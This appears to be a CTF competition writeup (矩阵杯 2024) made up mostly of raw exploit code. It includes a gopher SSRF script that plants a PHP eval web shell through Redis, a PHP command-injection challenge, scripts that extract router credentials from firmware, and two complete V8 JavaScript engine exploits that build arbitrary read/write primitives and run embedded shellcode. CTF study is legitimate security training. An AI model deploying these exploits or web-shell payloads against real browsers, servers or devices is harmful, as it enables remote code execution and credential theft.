矩阵杯 2024 Writeup

def i2b(a, b, c):    v7 = a >> 24    v11 = v7 & 0xff    b[c] = v11
    v13 = a >> 16    v8 = v13 & 0xff    v14 = c + 1    b[v14] = v8
    v15 = a >> 8    v11 = v15 & 0xff    v16 = c + 2    b[v16] = v11
    v11 = a & 0xff    v17 = c + 3    b[v17] = v11

from PIL import Image
''' # 二维码转二进制img = Image.open(r"C:UsersHKDesktop8E2A248B-0EE8-42b2-B19B-C6A9CE0D47F8.png")block = 29bin_txt = ''
for y in range(block):    for x in range(block):        pixel = img.getpixel((x * 25 + 10, y * 25 + 10))
        if pixel== (0, 0, 0, 255):            bin_txt += '1'        else:            bin_txt += '0'
    bin_txt += 'n'
print(bin_txt)'''# 二进制反转lines = open(r"C:UsersHKDesktopblock.txt").readlines()out = ''
for i in range(len(lines)):    if i % 2 != 0:
        for word in lines[i]:            if word == '0':                out += '1'            elif word == '1':                out += '0'            else:                out += word    else:        out += lines[i]
print(out)

<?phpif (isset($_GET['id']) && floatval($_GET['id']) !== '1' && $_GET['id'] == 1) {    echo 'welcome,admin';    $_SESSION['admin'] = True;} else {    die('flag?');}?>
<?php if ($_SESSION['admin'])  {   if(isset($_POST['code']))   {       if(preg_match("/(ls|c|a|t| |f|i|n|d')/", $_POST['code'])==1)           echo 'no!';       elseif(preg_match("/[@#%^&*()|/?><']/",$_POST['code'])==1)           echo 'no!';    else        system($_POST['code']);   } } ?>

import urllib
protocol = "gopher://"ip = "127.0.0.1"port = "6379"shell = "nn<?php @eval($_POST[0]);?>nn"filename = "shell1.php"path = "/var/www/html"passwd = ""cmd = ["flushall",       "set 1 {}".format(shell.replace(" ", "${IFS}")),       "config set dir {}".format(path),       "config set dbfilename {}".format(filename),       "save"       ]if passwd:    cmd.insert(0, "AUTH {}".format(passwd))payload = protocol + ip + ":" + port + "/_"

def redis_format(arr):    CRLF = "rn"    redis_arr = arr.split(" ")    cmd = ""    cmd += "*" + str(len(redis_arr))    for x in redis_arr:        cmd += CRLF + "$" + str(len((x.replace("${IFS}", " ")))) + CRLF + x.replace("${IFS}", " ")    cmd += CRLF    return cmd

if __name__ == "__main__":    for x in cmd:        payload += urllib.quote(redis_format(x))    print payload

binwalk -Me firmware.bin

/** * Based on apmib.h from: * Copyright (C) 2006-2009 OpenWrt.org * Original author - David Hsu <[email protected]> */
#include <sys/mman.h>#include <sys/stat.h>#include <fcntl.h>#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <endian.h>
#define N     4096  /* size of ring buffer */#define F       18  /* upper limit for match_length */#define THRESHOLD  2   /* encode string into position and length if match_length is greater than this */static unsigned char *text_buf;  /* ring buffer of size N, with extra F-1 bytes to facilitate string comparison */#define LZSS_TYPE  unsigned short#define NIL      N  /* index for root of binary search trees */struct lzss_buffer {  unsigned char  text_buf[N + F - 1];  LZSS_TYPE  lson[N + 1];  LZSS_TYPE  rson[N + 257];  LZSS_TYPE  dad[N + 1];};static LZSS_TYPE    match_position, match_length;  /* of longest match.  These are set by the InsertNode() procedure. */static LZSS_TYPE    *lson, *rson, *dad;  /* left & right children & parents -- These constitute binary search trees. */

typedef struct compress_mib_header {  unsigned char signature[6];  unsigned short compRate;  unsigned int compLen;} COMPRESS_MIB_HEADER_T;
#define handle_error(msg)            do { perror(msg); exit(EXIT_FAILURE); } while (0)
int Decode(unsigned char *ucInput, unsigned int inLen, unsigned char *ucOutput)  /* Just the reverse of Encode(). */{    int  i, j, k, r, c;  unsigned int  flags;  unsigned int ulPos=0;  unsigned int ulExpLen=0;
  if ((text_buf = malloc( N + F - 1 )) == 0) {    //fprintf(stderr, "fail to get mem %s:%dn", __FUNCTION__, __LINE__);    return 0;  }    for (i = 0; i < N - F; i++)    text_buf[i] = ' ';
          r = N - F;  flags = 0;  while(1) {    if (((flags >>= 1) & 256) == 0) {      c = ucInput[ulPos++];      if (ulPos>inLen)        break;      flags = c | 0xff00;    /* uses higher byte cleverly */    }              /* to count eight */    if (flags & 1) {      c = ucInput[ulPos++];      if ( ulPos > inLen )        break;      ucOutput[ulExpLen++] = c;      text_buf[r++] = c;      r &= (N - 1);    } else {      i = ucInput[ulPos++];      if ( ulPos > inLen ) break;      j = ucInput[ulPos++];      if ( ulPos > inLen ) break;            i |= ((j & 0xf0) << 4);      j = (j & 0x0f) + THRESHOLD;      for (k = 0; k <= j; k++) {        c = text_buf[(i + k) & (N - 1)];        ucOutput[ulExpLen++] = c;        text_buf[r++] = c;        r &= (N - 1);      }    }  }
  free(text_buf);  return ulExpLen;
}

void main(int argc, char**argv) {           char *addr;           int fd;           struct stat sb;           off_t offset, pa_offset;           size_t length;           ssize_t s;           char* filename = "config.dat";
           COMPRESS_MIB_HEADER_T * header;
           if (argc>2) {             printf("Wrong number of parameters!");             exit(1);           }           if (argc==2) {             filename=argv[1];           }                      fd = open(filename, O_RDONLY);           if (fd == -1)               handle_error("open");
           if (fstat(fd, &sb) == -1)           /* To obtain file size */               handle_error("fstat");

           addr = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
           header = (COMPRESS_MIB_HEADER_T*)addr;
                      printf("%un", be16toh(header->compRate));           printf("%un", be32toh(header->compLen));           printf("%un", sb.st_size);           unsigned char *expFile=NULL;           expFile=calloc(1,be16toh(header->compRate)*be32toh(header->compLen));

                      unsigned int expandLen = Decode(addr+sizeof(COMPRESS_MIB_HEADER_T), be32toh(header->compLen), expFile);
           printf("%un", expandLen);           printf("%.*sn",100, expFile);           fwrite(expFile, 1, expandLen, stdout);           //flash_read_raw_mib("config.dat");}

gcc -o decode decode.c

#!/bin/bash# 设置文件夹路径DIRECTORY="./_firmware.bin.extracted"
# 遍历目录中的所有文件for file in "$DIRECTORY"/*do    echo "Processing $file..."    # 对每个文件执行你的命令    # 解码，转为十六进制，删除换行，搜索特定模式，处理输出    ./decode "$file" | xxd -p | tr -d 'n' | grep -Po 'b7001f.*?00' | sed 's#00$##g' | sed 's#b7001f##g' | xxd -r -pdone

# 设置文件路径FILE_PATH="./_firmware.bin.extracted/2F3B94"DECODE_CMD="./decode"  # 设置decode命令的路径
# 确保decode命令存在并且可执行if [ ! -x "$DECODE_CMD" ]; then    echo "Decode command not found or not executable: $DECODE_CMD"    exit 1fi
# 处理文件以提取密码P=$("$DECODE_CMD" "$FILE_PATH" | xxd -p | tr -d 'n' | grep -Po 'b7001f.*?00' | sed 's#00$##g' | sed 's#b7001f##g' | xxd -r -p)
# 处理文件以提取用户名U=$("$DECODE_CMD" "$FILE_PATH" | xxd -p | tr -d 'n' | grep -Po 'b6001f.*?00' | sed 's#00$##g' | sed 's#b6001f##g' | xxd -r -p)
# 打印用户名和密码echo "User: $U"echo "Password: $P"

const object1 = {};object1.a = 1;
const object2 = {};object2.a = 1;object2.b = 1;
const object3 = {};object3.a = 1;object3.b = 1;object3.c = 1;Object.defineProperty(object3, "d", {writable: false, enumerable: true, value: 1});
// create a split branch in map transition treeconst object4 = {};object4.a = 1;object4.b = 1;object4.c = 1;object4.d = 1;
for (let key in object3) { }
delete object3.d;
let escape;function trigger(callback) {  for (let key in object2) {    callback();    escape = object2[key];  }}
%PrepareFunctionForOptimization(trigger);trigger(_ => _);trigger(_ => _);%OptimizeFunctionOnNextCall(trigger);
trigger(_ => {  object4.c = 1.1;  for (let key in object1) { }});
// %SystemBreak();

var buf = new ArrayBuffer(8);var dv  = new DataView(buf);var u8  = new Uint8Array(buf);var u32 = new Uint32Array(buf);var u64 = new BigUint64Array(buf);var f32 = new Float32Array(buf);var f64 = new Float64Array(buf);var roots = new Array(0x30000);var index = 0;
function pair_u32_to_f64(l, h) {        u32[0] = l;        u32[1] = h;        return f64[0];}
function u64_to_f64(val) {        u64[0] = val;        return f64[0];}

function f64_to_u64(val) {        f64[0] = val;        return u64[0];}
function set_u64(val) {        u64[0] = val;}
function set_l(l) {        u32[0] = l;}
function set_h(h) {        u32[1] = h;}
function get_l() {        return u32[0];}
function get_h() {        return u32[1];}
function get_u64() {        return u64[0];}
function get_f64() {        return f64[0];}
function get_fl(val) {        f64[0] = val;        return u32[0];}
function get_fh(val) {        f64[0] = val;        return u32[1];}
function add_ref(obj) {        roots[index++] = obj;}
function major_gc() {        new ArrayBuffer(0x7fe00000);}
function minor_gc() {        for (let i = 0; i < 8; i++) {                add_ref(new ArrayBuffer(0x200000));        }        add_ref(new ArrayBuffer(8));}
function hexx(str, val) {        console.log(str+": 0x"+val.toString(16));}
function sleep(ms) {        return new Promise((resolve) => setTimeout(resolve, ms));}
function shellcode() {        return [                1.9553825422107533e-246,                1.9560612558242147e-246,                1.9995714719542577e-246,                1.9533767332674093e-246,                2.6348604765229606e-284        ];}
for (let i = 0; i < 0x10000; i++) {  shellcode();  shellcode();  shellcode();  shellcode();}
var spray_array = Array(0xf700);var data_start_addr = 0x00502139+7;var map_addr = data_start_addr + 0x1000;var fake_object_addr = map_addr + 0x1000;//0x2f040404001c3d21      0x0a0007ff11000842spray_array[(map_addr-data_start_addr) / 8] = u64_to_f64(0x2f040404001c3d21n);//spray_array[(map_addr-data_start_addr) / 8] = pair_u32_to_f64(data_start_addr+0x200, 0x2d040404);spray_array[(map_addr-data_start_addr) / 8 + 1] = u64_to_f64(0x0a0007ff11000842n);spray_array[(fake_object_addr-data_start_addr) / 8] = pair_u32_to_f64(map_addr+1, 0x6f5);spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(data_start_addr-1, 0x20);
var leak_object_array = new Array(0xf700).fill({});var leak_object_element_addr = 0x00582139;
//console.log("go")//%DebugPrint(spray_array);//%DebugPrint(leak_object_array);//readline();
const object1 = {};object1.a = 1;
const object2 = {};object2.a = 2;object2.b = 2;
//const N = pair_u32_to_f64(0x42424242, 0x42424242);const N = pair_u32_to_f64(fake_object_addr+1, fake_object_addr+1);var fake_object_array = [        N,N,N,N,N,N,N,N,N,N,N,N,N,N,        N,N,N,N,N,N,N,N,N,N,N,N,N,N,        N,N,N,N,N,N,N,N,N,N,N,N,N,N,        N,N,N,N,N,N,N,N,N,N,N,N,N,N,        N,N,N,N,N,N,N,N,N,N,N,N,N,N,        N,N,N,N,N,N,N,N,N,N,N,N,N,N,        N,N,N,N,N,N,N,N,N,N,N,N,N,N,        N,N,N,N,N,N,N,N,N,N,N,N,N,N,        N,N,N,N,N,N,N,N,N,N,N,N,N,N,        N,N,N,N,N,N,N,N,N,N,N,N,N,N,        N,N,N,N,N,N,N,N,N,N,N,N,N,N,        N,N,N,N,N,N,N,N,N,N,N,N,N,N,];
const object3 = {};object3.a = 3;object3.b = 3;object3.c = 3;object3.d = 3;
const object4 = {};object4.a = 4;object4.b = 4;object4.c = 4;object4.e = 4;
let fake_array;for (let key in object2) {}function trigger(callback) {        for (let key in object2) {                callback();                fake_array = object2[key];        }}
//%PrepareFunctionForOptimization(trigger);trigger(_ => _);trigger(_ => _);//%OptimizeFunctionOnNextCall(trigger);trigger(_ => _);for (let i = 0; i < 0x10000; i++) {        trigger(_ => _);        trigger(_ => _);        trigger(_ => _);}//%DebugPrint(object4);//readline();trigger(_ => {//      print("callback");        object4.c = 1.1;        for (let key in object1) { }//      %DebugPrint(object2);//      readline();});
//print(fake_array === %TheHole());//%DebugPrint(fake_array);
function addressOf(obj) {        spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(leak_object_element_addr, 0x20);        leak_object_array[0] = obj;        f64[0] = fake_array[0];        return u32[0];}
var test = [1.1];hexx("test address", addressOf(test));//%DebugPrint(test);

function arb_read_cage(addr) {        spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x20);        return f64_to_u64(fake_array[0]);}
function arb_write_half_cage(addr, val) {        let orig_val = arb_read_cage(addr);        fake_array[0] = pair_u32_to_f64(orig_val&0xffffffff, val);}
function arb_write_full_cage(addr, val) {        spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x20);        fake_array[0] = u64_to_f64(val);}
var shellcode_addr = addressOf(shellcode);hexx("shellcode_addr", shellcode_addr);var code = arb_read_cage(shellcode_addr+0x8+0x4);hexx("code", code);var c = u32[0]+0x10+4;var rwx_addr = arb_read_cage(c);hexx("rwx_addr", rwx_addr);arb_write_full_cage(c, rwx_addr+0x57n);//%DebugPrint(shellcode);shellcode();

@@ -7085,7 +7093,7 @@ ReduceResult MaglevGraphBuilder::TryReduceArrayPrototypePush(     sub_graph.Bind(&*do_return);   }   RecordKnownProperty(receiver, broker()->length_string(), new_array_length_smi,-                      false, compiler::AccessMode::kStore);+                      false, compiler::AccessMode::kLoad);   return new_array_length_smi; } @@ -7258,7 +7266,7 @@ ReduceResult MaglevGraphBuilder::TryReduceArrayPrototypePop(   sub_graph.Bind(&*do_return);   RecordKnownProperty(receiver, broker()->length_string(),                       sub_graph.get(var_new_array_length), false,-                      compiler::AccessMode::kStore);+                      compiler::AccessMode::kLoad);   return sub_graph.get(var_value); }

inline bool IsAnyStore(AccessMode mode) {  return mode == AccessMode::kStore || mode == AccessMode::kStoreInLiteral ||         mode == AccessMode::kDefine;}
void MaglevGraphBuilder::RecordKnownProperty(    ValueNode* lookup_start_object, KnownNodeAspects::LoadedPropertyMapKey key,    ValueNode* value, bool is_const, compiler::AccessMode access_mode) {......  // Try to get loaded_properties[key] if it already exists, otherwise  // construct loaded_properties[key] = ZoneMap{zone()}.  auto& props_for_key =      loaded_properties.try_emplace(key, zone()).first->second;
  if (!is_const && IsAnyStore(access_mode)) { <============================================CHECK    // We don't do any aliasing analysis, so stores clobber all other cached    // loads of a property with that key. We only need to do this for    // non-constant properties, since constant properties are known not to    // change and therefore can't be clobbered.    // TODO(leszeks): Do some light aliasing analysis here, e.g. checking    // whether there's an intersection of known maps.    if (v8_flags.trace_maglev_graph_building) {      std::cout << "  * Removing all non-constant cached ";      switch (key.type()) {        case KnownNodeAspects::LoadedPropertyMapKey::kName:          std::cout << "properties with name " << *key.name().object();          break;        case KnownNodeAspects::LoadedPropertyMapKey::kElements:          std::cout << "Elements";          break;        case KnownNodeAspects::LoadedPropertyMapKey::kTypedArrayLength:          std::cout << "TypedArray length"; <============================================LENGTH          break;      }      std::cout << std::endl;    }    props_for_key.clear(); <===========================================================CLEAR  }......    std::cout << "] = " << PrintNodeLabel(graph_labeller(), value) << ": "              << PrintNode(graph_labeller(), value) << std::endl;  }
  props_for_key[lookup_start_object] = value;}

var buf = new ArrayBuffer(8);var dv  = new DataView(buf);var u8  = new Uint8Array(buf);var u32 = new Uint32Array(buf);var u64 = new BigUint64Array(buf);var f32 = new Float32Array(buf);var f64 = new Float64Array(buf);var roots = new Array(0x30000);var index = 0;
function pair_u32_to_f64(l, h) {        u32[0] = l;        u32[1] = h;        return f64[0];}
function u64_to_f64(val) {        u64[0] = val;        return f64[0];}

function f64_to_u64(val) {        f64[0] = val;        return u64[0];}
function set_u64(val) {        u64[0] = val;}
function set_l(l) {        u32[0] = l;}
function set_h(h) {        u32[1] = h;}
function get_l() {        return u32[0];}
function get_h() {        return u32[1];}
function get_u64() {        return u64[0];}
function get_f64() {        return f64[0];}
function get_fl(val) {        f64[0] = val;        return u32[0];}
function get_fh(val) {        f64[0] = val;        return u32[1];}
function add_ref(obj) {        roots[index++] = obj;}
function major_gc() {        new ArrayBuffer(0x7fe00000);}
function minor_gc() {        for (let i = 0; i < 8; i++) {                add_ref(new ArrayBuffer(0x200000));        }        add_ref(new ArrayBuffer(8));}
function hexx(str, val) {        console.log(str+": 0x"+val.toString(16));}
function sleep(ms) {        return new Promise((resolve) => setTimeout(resolve, ms));}
function de() {  while (true) {}}
function shellcode() {        return [                1.9553825422107533e-246,                1.9560612558242147e-246,                1.9995714719542577e-246,                1.9533767332674093e-246,                2.6348604765229606e-284        ];}

for (let i = 0; i < 0x5000; i++) {  shellcode(); shellcode();  shellcode(); shellcode();  shellcode(); shellcode();  shellcode(); shellcode();}
function func(x, y) {  x.push(1.1);  y.push(1.1);  x.push(1.1);  y.push(1.1);  x.push(1.1);  y.push(1.1);  x.push(1.1);  y.push(1.1);  x.push(1.1);  y.push(1.1);  x.push(1.1);  y.push(1.1);  x.push(1.1);  y.push(1.1);  x.push(1.1);  y.push(1.1);  x.push(1.1);  y.push(1.1);  x.push(1.1);  y.push(1.1);}
var spray_array　= new Array(0xf700).fill({});var spray_array2　= new Array(0xf700).fill({});var spray_array3　= new Array(0xf700).fill({});var spray_array4　= new Array(0xf700).fill({});var element_start_addr = 0x00580011;var data_element_start_addr = element_start_addr + 7;var fake_object_addr = data_element_start_addr + 0x1000;var save_fake_object_addr = fake_object_addr + 0x200;minor_gc();major_gc();major_gc();
var a = null;for (let i = 0; i < 0x1000; i++) {  a = [1.1, 2.2];//  %PrepareFunctionForOptimization(func);  func(a, a);//  %OptimizeMaglevOnNextCall(func);}
var victim_array = new Array(2).fill(1.1);var addressOf_arr = [0x290098a, victim_array];var rw_arr = [1.8457939563e-314, 1.8457939563e-314, 1.1, 2.2];
//for (let i = 0; i < a.length; i++) {//  hexx("[====== dump ======]", f64_to_u64(a[i]));  //}
var len_and_element = f64_to_u64(a[a.length-1]);hexx("len_and_element", len_and_element);a[a.length-1] = pair_u32_to_f64(u32[0], 0x1ee00);//%DebugPrint(a);//%DebugPrint(victim_array);var addressOf_offset = -1;for (let i = 0; i < 0x100; i++) {  f64_to_u64(victim_array[i]);  if (u32[0] == 0x5201314 && u32[1] != 0) {    addressOf_offset = i;  //  hexx("address", u64[0]);    break;  }}
var rw_offset = 15;/*var flag = 0;var check = 0xdeadbeefn;for (let i = 0; i < 0x100; i++) {  f64_to_u64(victim_array[i]);  hexx("[====== dump ======]", u64[0]);    if (u64[0] == check) {    f64_to_u64(victim_array[i+1]);    hexx("[====== dump ======]", u64[0]);      if (u64[0] == check) {      rw_offset = i-2;      if (flag == 1) {        break;      }      flag = 1;    }  }}*///print(u64_to_f64(0xdeadbeefn));
//%DebugPrint(victim_array);//%DebugPrint(rw_arr);hexx("rw_offset", rw_offset);hexx("addressOf_offset", addressOf_offset);hexx("check", f64_to_u64(victim_array[rw_offset]));print(victim_array[rw_offset+1]);
function addressOf(obj) {  addressOf_arr[1] = obj;  f64_to_u64(victim_array[addressOf_offset]);  return u32[1];}
function read_cage(addr) {  victim_array[rw_offset] = pair_u32_to_f64(addr-8, 0x20);;  return f64_to_u64(rw_arr[0]);}
function write_cage(addr, val) {  victim_array[rw_offset] = pair_u32_to_f64(addr-8, 0x20);;  rw_arr[0] = u64_to_f64(val);  }
//hexx("victim_array", f64_to_u64(victim_array[addressOf_offset]));hexx("victim_array", addressOf(victim_array));
var shellcode_addr = addressOf(shellcode);hexx("shellcode_addr", shellcode_addr);var code = read_cage(shellcode_addr+0x8+0x4);hexx("code", code);var c = u32[0]+0x10+4;var rwx_addr = read_cage(c);hexx("rwx_addr", rwx_addr);write_cage(c, rwx_addr+0x53n);//%DebugPrint(shellcode);shellcode();